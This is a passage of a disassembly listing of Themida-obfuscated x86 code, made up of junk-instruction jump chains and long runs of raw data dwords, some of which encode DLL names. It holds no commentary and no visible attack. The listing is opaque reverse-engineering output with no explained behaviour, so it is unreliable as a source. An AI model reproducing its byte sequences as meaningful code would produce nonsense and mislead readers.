0CC16E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FBE: ; CODE XREF: Themida_:00554FB3j pop esp shr ebp, 1 push eax mov eax, 0FBA37F7Bh sub ebp, 2C3C7A34h add ebp, eax add ebp, 2C3C7A34h jmp loc_562DDE ; --------------------------------------------------------------------------- dw 0BF57h dd 374575F4h, 0E7C1DFF7h, 9768E903h, 0B652FFFFh, 8BF3209Ah dd 0C4812414h, 4, 66B0EB80h, 52E0B151h, 0CAFE9EB2h, 8010C280h dd 0C2FE76C2h, 31EA80h, 7AE95AD3h, 0B8FFFF8Eh, 234342D2h dd 0FECD76E9h db 0FFh ; --------------------------------------------------------------------------- loc_565021: ; CODE XREF: Themida_:00564E01j and ebx, edx pop edx sub ebx, 5D8E4CCEh xor ebx, 0C489BB56h jmp loc_5574A8 ; --------------------------------------------------------------------------- loc_565035: ; CODE XREF: Themida_:005543FDj sub edx, 5A5B79A2h jmp loc_55C210 ; --------------------------------------------------------------------------- dd 2434FF54h, 4C4835Ah, 4C281h, 0C2810000h, 4, 2474FF52h dd 48F5A04h, 48F5C24h, 24248B24h, 4C381h, 0C3810000h, 2 dd 31241C33h, 1C33241Ch, 24248B24h, 0C8AF0F66h, 0E99C5166h dd 0FFFEBED7h ; --------------------------------------------------------------------------- loc_565088: ; CODE XREF: Themida_:00561208j mov edx, 4 mov eax, edx mov edx, [esp] jmp loc_559F9E ; --------------------------------------------------------------------------- db 31h dd 0DD0158C5h, 5B2434FFh, 5604C483h, 0CD5383BEh, 46D6F761h dd 1BB53h, 0DE010000h, 84CE815Bh, 81421C54h, 0F61ECDEEh dd 18BE565Dh, 108F734h, 8CFE9F5h, 0C1B8FFFFh, 0D523826h dd 46877CC4h, 0FF4C85E9h db 0FFh byte_5650DD db 8Bh, 4, 24h ; DATA XREF: Themida_:00550D58o dd 0FF6CACE9h, 0BE75E9FFh, 0EA81FFFEh, 7D631288h, 0FEBE6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5650F5: ; CODE XREF: Themida_:005559BFj push 779Ch jmp loc_558D86 ; --------------------------------------------------------------------------- loc_5650FF: ; CODE XREF: Themida_:0055DD00j mov esi, ebx pop ebx push edi mov edi, 11F33104h neg edi dec edi neg edi jmp loc_55827F ; --------------------------------------------------------------------------- dw 565Fh dd 0C681E689h, 4, 8704EE83h, 0E95C2434h, 0FFFF05A9h, 41E9C62Ch db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56512F: ; CODE XREF: Themida_:005623BAj add ebp, 4 sub ebp, 4 jmp loc_55A2AF ; --------------------------------------------------------------------------- dd 2414F753h, 81DA875Bh, 26D96CC2h, 79C181C3h, 0E90D7A2Fh dd 0FFFEC703h ; --------------------------------------------------------------------------- loc_565158: ; CODE XREF: Themida_:005548EAj mov edx, 4 sub ecx, 2A180F6Bh sub ecx, edx add ecx, 2A180F6Bh mov edx, [esp] add esp, 4 jmp loc_55793D ; --------------------------------------------------------------------------- db 1, 0F0h, 5Eh dd 205h, 0C6A9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565186: ; CODE XREF: Themida_:00559867j mov esi, [esp] jmp loc_5549FE ; --------------------------------------------------------------------------- dw 12BBh dd 16F294Eh, 8E80E9D9h, 159FFFFh, 4EC83D7h, 0E9240489h dd 0FFFF0B3Eh, 0C1CFE951h, 1368FFFEh, 89000073h, 0B6B9240Ch dd 0E9416F61h, 0FFFED31Dh ; --------------------------------------------------------------------------- loc_5651C0: ; CODE XREF: Themida_:00553003j add ebp, 4 push edx push esi mov esi, 4 mov edx, esi pop esi jmp loc_55C0C8 ; --------------------------------------------------------------------------- db 5Fh, 53h, 0BBh dd 3E8D6C83h, 1C8BDD21h, 4C48324h, 8104EDC1h, 0A6A759F5h dd 5DEB0924h, 0EE09F381h, 56533FCFh, 7E1550BEh, 0EC49E93Dh dd 0C181FFFFh, 10493B4Fh, 60E9F101h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56520F: ; CODE XREF: Themida_:0055B745j pop eax push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], edx push 4 pop edx jmp loc_552F34 ; --------------------------------------------------------------------------- loc_565236: ; CODE XREF: Themida_:00557F0Aj pop ebx push 7990h jmp loc_557E87 ; --------------------------------------------------------------------------- align 2 dw 59EFh dd 0FA3092B2h, 81241C8Bh, 4C4h, 0CDEA8000h, 8B5AD028h dd 0C483240Ch, 0A9E95104h, 89FFFF95h, 81682414h, 89000052h dd 0E589242Ch, 5658E952h, 0E9C1FFFFh, 22E1E907h, 0EBC0FFFFh dd 0AC20E904h, 48FFFFFh, 24248B24h, 8B243C89h, 54532414h dd 4C3815Bh, 83000000h, 1C8704C3h, 24248B24h, 20E9C909h dd 5F000005h, 706F68h, 240C8900h, 0FFEF6AE9h, 42D59FFh dd 87000000h, 248B2404h, 0EA5FE924h, 1B68FFFFh, 8900005Ch dd 4EB02404h, 0C1307BB1h, 0E92434FFh, 0FFFF6441h ; --------------------------------------------------------------------------- loc_5652E0: ; CODE XREF: Themida_:005611EDj pop ecx xor edx, 74CA5C51h sub edx, 0FFFFFFFFh shr edx, 2 push ecx mov ecx, 1BB30A4Fh shl ecx, 2 and ecx, 634D62E5h inc ecx xor ecx, 47E71588h shl ecx, 2 xor ecx, 963D9622h xor edx, ecx pop ecx add edx, 0EBE58EC9h sub ecx, edx pop edx and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx jmp loc_560D2D ; --------------------------------------------------------------------------- dd 6A1F3D35h, 0DA27052Eh, 0C281EBD1h, 6E6D290Ah, 4EC81h dd 0C890000h, 0CB3AE924h, 5758FFFFh, 42474FFh, 24048F5Fh dd 148B665Ch, 1BBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56535E: ; CODE XREF: Themida_:00559993j push ebx jmp loc_5608B6 ; --------------------------------------------------------------------------- dd 0BAC28159h, 15B2B57h, 7216E9F2h, 0BB53FFFFh, 20E16428h dd 0E6E9DF29h, 68FFFED0h, 4D61h, 68243489h, 78B1h, 83242489h dd 8B042404h, 0D9E92434h, 88FFFF31h, 148B59ECh, 4C48124h dd 81000000h, 4ECh, 49F2E900h, 0C981FFFFh, 543B2BB5h, 91F18149h dd 1CBCDC9h, 24ADE9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653C6: ; CODE XREF: Themida_:00564765j xchg ebx, [esp] jmp loc_55C7B0 ; --------------------------------------------------------------------------- dw 1C89h dd 88535124h, 5BDD88C3h, 0EB885352h, 885BDE88h, 0F1E95AF7h dd 59FFFF57h, 8DE95704h, 59FFFF54h, 0FF62B3E9h, 685055FFh dd 2638673Dh, 2DD0F758h, 79284F15h, 3C681F35h, 0C1895164h dd 0FF9B14E9h, 4EC81FFh, 0E9000000h, 0FFFF0479h, 8BE95750h dd 0FEFFFF2Ch, 37B151CFh, 809EE180h, 0C780ACF1h, 0DDC7802Dh dd 0EF80CF00h, 2DEF80DDh, 81240C8Bh, 4C4h, 1EF8000h, 5266CFFEh dd 0F7008FB6h, 0FEED32E9h, 4C181FFh, 87000000h, 525C240Ch dd 0D388CA88h, 0C8B665Ah, 2C48324h, 0FF7C4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_565471: ; CODE XREF: Themida_:0055EA2Aj mov [esp], ebp mov ebp, 1 jmp loc_559F58 ; --------------------------------------------------------------------------- dw 525Ah dd 6BE9FAB6h, 68FFFEE1h, 47A1h, 0FECD15E9h, 81E689FFh dd 4C6h, 4EE8300h, 5C243487h, 0FFE5AFE9h, 4893BAFFh, 0ABE90F6Ch db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654AF: ; CODE XREF: Themida_:005554E7j pop esp or ebx, ebx jnz loc_564123 push ecx sub esp, 4 jmp loc_564C5D ; --------------------------------------------------------------------------- loc_5654C4: ; CODE XREF: Themida_:0055A1BDj sub edi, 537164A3h add edi, ebp jmp loc_5582D7 ; --------------------------------------------------------------------------- db 5, 0E1h, 63h dd 3C8B1F24h, 0FAF3E924h, 2C8BFFFEh, 4C48324h, 4244401h dd 0B3B95158h, 154AB60h, 5904244Ch, 7623B850h, 44013FA8h dd 0DBE90424h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565503: ; CODE XREF: Themida_:0055A21Dj add edi, 1A687EE5h mov ecx, [esp] add esp, 4 xchg edi, [esp] jmp loc_562FC8 ; --------------------------------------------------------------------------- dw 0C483h dd 5EE72D04h, 0E95D3CCBh, 0FFFF942Bh ; --------------------------------------------------------------------------- loc_565528: ; CODE XREF: Themida_:00554B12j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55109A ; --------------------------------------------------------------------------- db 81h dd 415ECEF1h, 0D5A1E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565542: ; CODE XREF: Themida_:0055C3D4j jmp loc_550F5F ; --------------------------------------------------------------------------- loc_565547: ; CODE XREF: Themida_:00561BB5j mov bl, 0EFh add al, 43h sub al, bl sub al, 43h pop bx jmp loc_560FE1 ; --------------------------------------------------------------------------- loc_565556: ; CODE XREF: Themida_:0055CFB0j push ecx jmp loc_55E15A ; --------------------------------------------------------------------------- dd 0E99C5066h, 0FFFEB9FBh ; --------------------------------------------------------------------------- loc_565564: ; CODE XREF: Themida_:00561399j mov [esp], ecx pop ebp push ebp jmp loc_563162 ; --------------------------------------------------------------------------- dw 842Dh dd 8B280D3Ah, 49E92434h, 0FFFF1Ch, 835A66F5h, 48904ECh dd 303DB424h, 24048BE5h, 5004C483h, 0E48000B4h, 0C4DFE96Dh dd 55BFFFEh, 62FE7DE9h, 21F868h, 243C8900h, 5C4F6855h dd 0C890000h, 7ABF6824h, 4890000h, 3C0B824h, 0FFE97258h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655C3: ; CODE XREF: Themida_:005552ECj pop ebp jmp loc_556777 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 3024248Bh, 0E99C2404h, 0FFFEB987h, 0E381DBF7h, 39A74E50h dd 8105EBC1h, 21274FEBh, 9EC781BAh, 17AC612h, 9EEF81DFh dd 8B7AC612h, 0C483241Ch, 0D1C78104h, 0E95D0A06h, 0FFFFB1D3h ; --------------------------------------------------------------------------- loc_565608: ; CODE XREF: Themida_:00558F61j push esi push ebp jmp loc_559EDE ; --------------------------------------------------------------------------- db 0BDh dd 0 dd 5406ED81h, 0F52903A7h, 5228BE56h, 6812F1h, 0E9000000h dd 0FFFF1A0Fh, 8904EC83h, 0E189240Ch, 4C181h, 0B8500000h dd 4, 0F07AE950h db 0FEh, 0FFh word_565646 dw 34FFh ; DATA XREF: Themida_:00550DE8o dd 240C8B24h, 0FFF000E9h, 0E94959FFh, 65Ah ; --------------------------------------------------------------------------- loc_565658: ; CODE XREF: Themida_:00551EBEj push eax mov eax, 5C78472Eh and eax, 6F691CD7h sub eax, 67625CB0h add eax, 56013295h push edx mov edx, 699C5B82h sub eax, edx pop edx jmp loc_55AC02 ; --------------------------------------------------------------------------- db 81h dd 51233EC5h, 88E5814Bh, 8171CC0Ch, 0A025E8CDh, 0F6CCE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565692: ; CODE XREF: Themida_:0055784Dj pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_55C03F ; --------------------------------------------------------------------------- dw 41BAh dd 837C044Eh, 9CE9FFEAh db 0DAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5656AB: ; CODE XREF: Themida_:00559838j add eax, 4 jmp loc_553731 ; --------------------------------------------------------------------------- db 0B6h, 44h, 30h dd 24148BF4h, 4C481h, 3EE90000h, 81FFFF31h, 0D9B33BEAh dd 0E9D701F7h, 0FFFFDB4Bh, 0C181D129h, 0C572033h, 0FFCBC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5656E1: ; CODE XREF: Themida_:005625BAj jmp loc_550F5F ; --------------------------------------------------------------------------- dw 57BEh dd 174B671h, 0CA015EF2h, 0FECEC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5656F5: ; CODE XREF: Themida_:00563F42j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ebp push 1C9Bh mov [esp], edi mov edi, 4D890CB3h mov ebp, edi pop edi mov esi, ebp pop ebp add [esp+4], esi mov esi, [esp] jmp loc_5642D8 ; --------------------------------------------------------------------------- db 80h dd 0C380ACC3h db 0E8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_556F24 ; --------------------------------------------------------------------------- dw 60B4h dd 0E90FEC80h, 0FFFFDEEDh, 0D5718BBFh, 5FF82944h, 460D442Dh dd 16CA680Fh, 1C890000h, 6BA86824h, 1C8B401Ch, 0E7895724h dd 4C781h, 0DE680000h, 0E9000055h, 0FFFF3E2Bh ; --------------------------------------------------------------------------- loc_565778: ; CODE XREF: Themida_:00561411j or ebx, 67F21FDBh jmp loc_557A5C ; --------------------------------------------------------------------------- db 53h dd 0BC5CE956h, 0D4F6FFFFh, 80E5F480h, 0EC805ECCh, 9A47E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56579A: ; CODE XREF: Themida_:00554AE6j push 3801h mov [esp], edi push 3FD001D3h mov edi, [esp] add esp, 4 jmp loc_56062B ; --------------------------------------------------------------------------- loc_5657B5: ; CODE XREF: Themida_:005553A0j mov esp, [esp] push esi jmp loc_55854A ; --------------------------------------------------------------------------- loc_5657BE: ; CODE XREF: Themida_:0055AF4Bj neg edx push ecx mov ecx, 13C30E10h jmp loc_55FF52 ; --------------------------------------------------------------------------- db 0Fh dd 0FFAC9A84h, 4EC83FFh, 0FEF973E9h, 6A7368FFh, 0DDE90000h dd 0FFFFFFBEh, 8B042474h, 52E9243Ch, 52FFFEEFh, 2A4C09BAh dd 36EFBE58h, 0BF575C86h, 0C19DA05Bh, 295FFE29h, 1C5CE9D6h dd 0C281FFFFh, 0F5D4CB24h, 0FFFC72E9h db 0FFh ; --------------------------------------------------------------------------- loc_565815: ; CODE XREF: Themida_:0055255Bj mov eax, 32A54AB6h shl eax, 4 push ebx jmp loc_558716 ; --------------------------------------------------------------------------- loc_565823: ; CODE XREF: Themida_:00560841j sub esp, 4 mov [esp], ebp push 5D4Ah mov [esp], ebx push edx mov edx, 606967DEh push 606967DFh pop ebx xor ebx, edx pop edx jmp loc_55EEDA ; --------------------------------------------------------------------------- loc_565848: ; CODE XREF: Themida_:00562674j sub ebp, 6EF2000Dh pop ecx and eax, ebp push dword ptr [esp] jmp loc_5604DE ; --------------------------------------------------------------------------- db 81h, 0C3h, 63h dd 1F17D1Fh, 685E5BDDh, 2949h, 0B9240C89h, 528E362Bh, 0C8BC829h dd 4C48124h, 1000000h, 1668E9E8h, 0E95BFFFFh, 0FFFECFB5h dd 24048B52h, 4C481h, 148B0000h, 93B5E924h, 0C681FFFFh dd 62689819h, 0FF5EF029h, 2DE92434h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5658AB: ; CODE XREF: Themida_:005562F7j push ecx mov ecx, 69297F77h mov edx, 69297F7Bh sub edx, ecx pop ecx add ecx, edx jmp loc_55730C ; --------------------------------------------------------------------------- loc_5658C0: ; CODE XREF: Themida_:00562DA9j add edx, ebx add edx, 40CB24E5h sub edx, 39612722h push dword ptr [esp] jmp loc_5519C2 ; --------------------------------------------------------------------------- dw 0C281h dd 183E4584h, 81243C8Bh, 4C4h, 24143300h, 33241431h, 67E92414h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5658F3: ; CODE XREF: Themida_:005546E6j sub ebx, ebp push esi mov esi, 36D73A76h jmp loc_55B822 ; --------------------------------------------------------------------------- dd 51241489h, 0FFBF19E9h, 0D0E95BFFh, 89FFFFF3h, 95E959CDh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565917: ; CODE XREF: Themida_:005523D0j pop edx jmp loc_554755 ; --------------------------------------------------------------------------- db 0BDh, 2 dup(0FFh) dd 0EA29FFFFh, 0CEA815Dh, 8112F10Ch, 4ECh, 242C8900h, 0FEB974E9h dd 241C8BFFh, 0E904C483h, 288h, 0CC86E951h, 1C87FFFFh dd 0F0E95C24h, 5EFFFF5Bh, 76BD68h, 24148900h, 42474FFh dd 8324148Bh, 48F04C4h, 0B1E95C24h, 51FFFFBDh, 7F50FDB9h dd 9755E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56597A: ; CODE XREF: Themida_:0055FBFAj push ebp jmp loc_560190 ; --------------------------------------------------------------------------- loc_565980: ; CODE XREF: Themida_:0055B89Ej push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_55EDC9 ; --------------------------------------------------------------------------- db 81h dd 427910EAh, 0E9C2013Ch, 0FFFF0BC4h, 0E9241433h, 0FFFEFF04h ; --------------------------------------------------------------------------- loc_5659AC: ; CODE XREF: Themida_:005567D3j dec edx sub edx, 0DEDBC1DBh jmp loc_558E3A ; --------------------------------------------------------------------------- dd 10FA6866h, 24148966h, 0FF19A5E9h, 243C89FFh, 17FFB9BFh dd 43E95239h, 8BFFFFBAh, 34E92424h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659DB: ; CODE XREF: Themida_:0055C0DCj mov esp, [esp] add esp, 4 dec dword ptr [esp] pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_5659EA: ; CODE XREF: Themida_:00560D28j mov edi, esp push ecx mov ecx, 3C0A3978h add ecx, 6F97747Eh or ecx, 6BE14D94h add ecx, 598159EBh sub ecx, 456347DDh jmp loc_55DCD7 ; --------------------------------------------------------------------------- loc_565A0F: ; CODE XREF: Themida_:00555310j add esi, 2C523480h sub esi, edi jmp loc_559B07 ; --------------------------------------------------------------------------- loc_565A1C: ; CODE XREF: Themida_:0055FC2Dj pop edx xor ebx, 0B764EC1h push 43D4h mov [esp], eax push edi mov edi, 525824D8h mov eax, 6766663Eh jmp loc_563F14 ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 34895C24h, 0C93FE924h, 0CE81FFFEh, 1D576084h dd 0DF6E946h, 0F581FFFFh, 8523A652h, 0FEE277E9h, 2CF281FFh dd 8984288Fh, 0E8C15AD0h, 14F75003h, 24048B24h, 0FF1E3BE9h dd 80BDB6FFh, 8D2C06F6h, 8098B652h, 0F028DBF6h, 4F0285Ah dd 668D0443h, 6824148Bh, 54B8h, 54241C89h, 0F70CE95Bh dd 0EB80FFFFh, 51C32816h, 0FF5AABE9h, 26F780FFh, 685BFE20h dd 65B0h, 0B7241C89h, 2EFC0DEh, 5CE9C7FEh, 5DFFFFF9h, 63AF581h dd 0EB011957h, 0FFB641E9h, 895158FFh, 4C181E1h, 0E9000000h dd 0FFFFE3A9h, 98E3E951h, 0EE81FFFFh, 4, 0FF7364E9h, 66EA30FFh dd 56240C8Bh, 0C681E689h, 4, 2C681h, 34870000h, 0F2805C24h dd 5AD02863h, 6602EC83h, 53240C89h, 4EC81h, 4890000h, 8863B024h dd 3400E9C7h, 0E089FFFFh, 405h, 40500h, 33E90000h, 68FFFF55h dd 1AB1h, 0BE243489h, 57FE7EE9h, 4CE95755h, 83FFFEFFh dd 0D0F704C4h, 0C666C105h, 8369E957h, 3489FFFFh, 52ADBE24h dd 0DEF74160h, 54CBCE81h, 0DEF7153Ch, 5202E6C1h, 911F5CBAh dd 7FC28143h, 138D650h, 0D3E95AD6h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B8B: ; CODE XREF: Themida_:0055B843j pop ebp mov eax, ebx jmp loc_55D7D2 ; --------------------------------------------------------------------------- loc_565B93: ; CODE XREF: Themida_:0056134Cj add edi, ebx sub edi, 28220FD3h pop ebx push eax jmp loc_5518F8 ; --------------------------------------------------------------------------- loc_565BA2: ; CODE XREF: Themida_:00557CF5j push esp pop edx push ebx mov ebx, 76781260h jmp loc_559A7B ; --------------------------------------------------------------------------- loc_565BAF: ; CODE XREF: Themida_:00558E35j xor ecx, 57795930h jmp loc_55F27E ; --------------------------------------------------------------------------- dw 15Fh dd 81042454h, 5004246Ch, 0E92FC527h, 0FFFED618h, 12CD0F6h dd 0C7000004h, 0C0D7F658h, 0EF8003EFh, 90C78095h, 0F800DE2Ch dd 1C8BDE04h, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 5324248Bh, 5AE9A5B7h, 68FFFFD1h, 25C13BFAh, 83240C8Bh dd 4C3104C4h, 0FF590424h, 0C8B2434h, 0E1895124h, 8904EC83h dd 4BF243Ch, 1000000h, 0CEE95FF9h, 68FFFED7h, 53B3h, 68240489h dd 3EA9h, 0E9242489h, 0FFFF3BF9h, 0CF81E7D1h, 62E6501Dh dd 4BCAF781h, 0A7E9C47Fh, 81FFFF10h, 313645F2h, 8BD78924h dd 0C4832414h, 8BFB2904h, 0C483243Ch, 241C8704h, 8924248Bh dd 0B8502434h, 5EDA5265h, 0DA5665BEh, 0FFC6315Eh, 83582434h dd 770904C4h, 2434FF1Ch, 4C4835Eh, 0FEB2C6E9h, 56685FFFh dd 89000004h, 59B82404h, 352ABD42h, 5299084Ah, 0CAEAE940h dd 0B850FFFEh, 5E2D351Eh, 48BC129h, 4C48324h, 0FFCF46E9h dd 4C781FFh, 0E9000000h, 0FFFEF52Fh dword_565CD0 dd 0FF665566h, 66022474h, 0E9242C8Bh, 0FFFF3A73h, 253DCE81h ; DATA XREF: Themida_:00550D20o dd 0EE813266h, 50AE5C92h, 4AF4C681h, 0BA525E5Ah, 35AF1E09h dd 0A3AEA81h, 0EAC109EFh, 81D2F708h, 8270F5CAh, 14B85012h dd 29D4A308h, 0D63158C2h, 0E9F7895Ah, 0FFFFA3AFh, 11E8h dd 2C38FD00h, 179745CDh, 0DCC0E028h, 5513411h, 0BF0FF59Bh dd 8E959D7h, 0A8000000h, 34C277AEh, 815CCB08h, 6C4CC1h dd 0CDBD2300h, 0BB06442Dh, 764E24Ah, 0C769EB81h, 0F2810764h dd 5D75C340h, 0B70F31FFh, 958B58F3h, 644286Dh, 0A6A8E881h dd 0FB8B381Fh, 0D3E2E881h, 0E96066F4h, 0Ch, 0CD83E3CFh dd 87022FA2h, 90B1D280h, 618ECD80h, 0FC63C081h, 6E82C08h dd 0D5000000h, 6834E28Bh, 4EE681EEh, 5F099EEAh, 89858950h dd 8F06441Fh, 0E983F901h, 0FBB70F01h, 89494949h, 442A759Dh dd 1EB8306h, 14850Fh, 1EE90000h, 0B6000000h, 0C8D8BB36h dd 5FD6F179h, 0DD025D44h, 45BE69B1h, 0E973DD38h, 0FFFFFF78h dd 90AF4933h, 5536EB00h, 33524553h, 6C642E32h, 4441006Ch dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh dd 0A07D700h, 12000400h, 15000C00h, 7F002E00h, 0CAEA1C02h dd 9C9E904h, 86680000h, 0E9064698h, 0FFFDE78Eh, 46990D68h dd 0E784E906h, 268FFFDh, 0E906469Ah, 0FFFDE77Ah, 469B5868h dd 0E770E906h, 0C468FFFDh, 0E906469Bh, 0FFFDE766h, 469D1468h dd 0E75CE906h, 8668FFFDh, 0E906469Dh, 0FFFDE752h, 8A11B89h dd 0BF16CE36h, 12BB2181h, 0A009B32Ch, 15BC289Eh, 990FED37h dd 49BC822Bh, 950C329Bh, 53B08E27h, 187C3891h, 0E9FCD487h dd 11A3F5C2h, 0C05033C2h, 4B751175h, 0DFFE67DDh, 97360897h dd 0B697CF74h, 0AF9769F6h, 96E49CC6h, 0F050BE10h, 51403E4Ch dd 31C187CFh, 42BE80E4h, 29B6D29Ah, 0EFD629EBh, 6F920E30h dd 55DF49F0h, 82A382EFh, 4723A1Bh, 56FABC25h, 1E85BBDFh dd 4E0627BEh, 1967B52Ah, 8AB4F59Ah, 1332AB19h, 680C2D5Bh dd 4E8930Ch, 0C0E1E992h, 71D2EC88h, 0A1533FA0h, 5B7AD5C9h dd 3BA896F2h, 636AFB89h, 0F7E64CBCh, 0A02481BFh, 71EA4B05h dd 0B024BDA2h, 7E8h, 48E15BC9h, 0FF560E76h, 52FB61C1h dd 0E049F36Ch, 55FC68DEh, 0D94FAD77h, 89FCC26Bh, 0D54C72DBh dd 93F0CE67h, 583C78D1h, 0E9FC14C7h, 51E3B5C2h, 0F76ED64Fh dd 0F09421B1h, 772BED6Fh, 197D5CCFh, 0DA45BC27h, 0C2E9FD1Fh dd 0CCA889A8h, 0AE0A4EBEh, 0A19F0E50h, 7BD29A42h, 0E77EDE45h dd 864BBD83h, 1938A11Bh, 239FA138h, 200120B9h, 68ED5668h dd 0DE9D02FDh, 0EFC2EA7Ch, 6BCEEFCEh, 7BA9963Fh, 61E074EDh dd 42000007h, 0EBD57CE0h, 5E60C97Bh, 0EDD37AE2h, 5F61C874h dd 0F0D27BE9h, 12D23428h, 0A22285BBh, 6ECE350Bh, 0D88CF9C7h dd 0CE513571h, 0C2E9FB0Bh, 1558EABCh, 942BEE71h, 0BD9CC930h dd 949346D9h, 1534C930h, 4202635Dh, 0C480E5DBh, 0D6403B5Dh dd 0F4B01571h, 40DE01h, 4F6C0000h, 75C76ED6h, 309427EEh dd 0F173D0C9h, 0A4023C58h, 0D098B920h, 0D7B3FA96h, 0A85842A5h dd 0E0A82805h, 0DE961B84h, 7657CF74h, 7B52C12h, 8B3190AEh dd 6D28612h, 0DCE20000h, 4564FD67h, 2B15BF0Dh, 0BF9E07BDh dd 630FA7CDh, 165E6929h, 6D09BB28h, 3971F353h, 904AE6A0h dd 731A2B16h, 9FFBDAB7h, 73EC7A00h, 0DB7253CFh, 6DC480E5h dd 6A0E872Bh, 327392F5h, 96F2D3C9h, 0CF873DA8h, 8E2E95ABh dd 32AA1927h, 0F13095ABh, 2E65AB6Eh, 1C3D1CC9h, 0EDAEE3B9h dd 188C157Dh, 66Ch, 0CC65D74Dh, 7BD292F2h, 0D67FDD45h dd 6CC577E8h, 0D970F452h, 5DCB31FBh, 15704EE7h, 0C93806AFh dd 1F84BA13h, 2C480CA5h, 0E9FA08B3h, 2597C1C2h, 0F76ED64Fh dd 9C0FE193h, 6E27F9F3h, 39AB1826h, 0C6A2C6A0h, 2FE2A259h dd 420263C9h, 265D1534h, 0BE2145FCh, 0C92FE1FBh, 3AA5EDCCh dd 0C92FE465h, 60C7F1h, 0FD9501F4h, 0F1FFFFFEh, 8EF754CFh dd 4F6EF7D6h, 0D64FB507h, 21B1F76Eh, 2D6FF094h, 9CCF74B2h dd 77B467F8h, 2B15C2ECh, 162809BBh, 8BAA33A9h, 0AD4503AAh dd 0CC3A0460h, 0E8A08118h, 0A675138Ch, 5574C930h, 62A553CCh dd 7115C930h, 0ABA2B15h, 3061E695h, 8EC6E7C9h, 60C429F5h dd 9501F47Dh, 1C4h, 0EE56CFF1h, 0AC1E5677h, 0C05033C2h dd 6746F66Ah, 41F86703h, 8AC93094h, 1887E3ABh, 0CF749746h dd 79E6A687h, 9CC6AFA7h, 97F33AD6h, 1C853FA9h, 8E11753Dh dd 0EFD6A344h, 37FEF785h, 8ABD27C8h, 325632ABh, 8D8B6B40h dd 50CF5066h, 0EF563FA9h, 0D4B0322h, 724C2865h, 7D195113h dd 9A7998E2h, 58CFF1F5h, 4BD292F3h, 0F3D24B6Ah, 0C6E755CDh dd 87F8C6A2h, 42A39DD5h, 0B0152B82h, 9E07BD2Bh, 1B3B9EBFh dd 0A1A271EEh, 516AC38h, 0AD170000h, 2C98A60Fh, 0B32F11B8h dd 219EA009h, 0BA2C12BBh, 9781A30Ah, 288143A5h, 9C35AF16h dd 349D3FA2h, 822B990Ah, 7E3DA2C6h, 4FC2E9F9h, 9B37AB19h dd 8BE97612h, 0C2CF772Bh, 7CE387E3h, 0C2E9FDBDh, 3672F0Eh dd 0DD9C0367h, 0EEC2E9FCh, 2D97F1CFh, 0E3DD95B4h, 4B75DC80h dd 0C3FD64D8h, 7147E262h, 977BA916h, 4AA9A0Eh, 198B0000h dd 0D0340AA3h, 1F83BD14h, 0B52A14BDh, 3690AE07h, 1B05278Eh dd 0B41DC721h, 0A91B8Ah, 0B019C33Eh, 6AF158Eh, 2B92642h dd 0CBC2E9F9h, 71152F9Dh, 30942BEEh, 67F89CC9h, 0C93094B4h dd 5D153415h, 98070263h, 0C93093E1h, 73EACBEAh, 0F56CD84Dh dd 5FC9F793h, 0FBDA8AFAh, 0ACE460C5h, 724F4BD7h, 9BC93096h dd 0A096B72Dh, 1F4B245h, 0FFFD33EEh, 4CB48AFFh, 4F6AD890h dd 93F76ED6h, 0B67F54E1h, 0E34582F7h, 0CE70F4Ch, 5B1D5574h dd 5A0261B7h, 457B1F7Bh, 0DCFD64E0h, 46DF7DE2h, 0AB02F67h dd 0D1CF7444h, 29EBC5A3h, 0B5FD353Ch, 1A74B1C3h, 4EAD7EB6h dd 8AD60216h, 0C9E8C9E6h, 0FF600460h, 0C2EC653Ch, 56E4AC8Dh dd 1D79C8C2h, 3093D782h, 974DB8C9h, 0CE88C0E1h, 108FEB22h dd 0CF74974Eh, 9054B18Fh, 0D34C2809h, 0C2EC9228h, 0C5A180A1h dd 927B3EA1h, 6D4CC2ECh, 55FA6525h, 0A66B0405h, 78E7830Ah dd 2121513Ah, 0DF9A0561h, 0E8211937h, 0D6F781C9h, 2C69094Fh dd 0B2122C48h, 29930C32h, 46D991B0h, 275D72F4h, 2E107455h dd 0C2A60FB5h, 6DA4ABB0h, 2E5C3813h, 0AE9F2EBh, 0DDE3AB93h dd 6559FC68h, 93D3BC0Fh, 35A9E0Ah, 0E95B0000h, 80E4DA73h dd 0EF536DC4h, 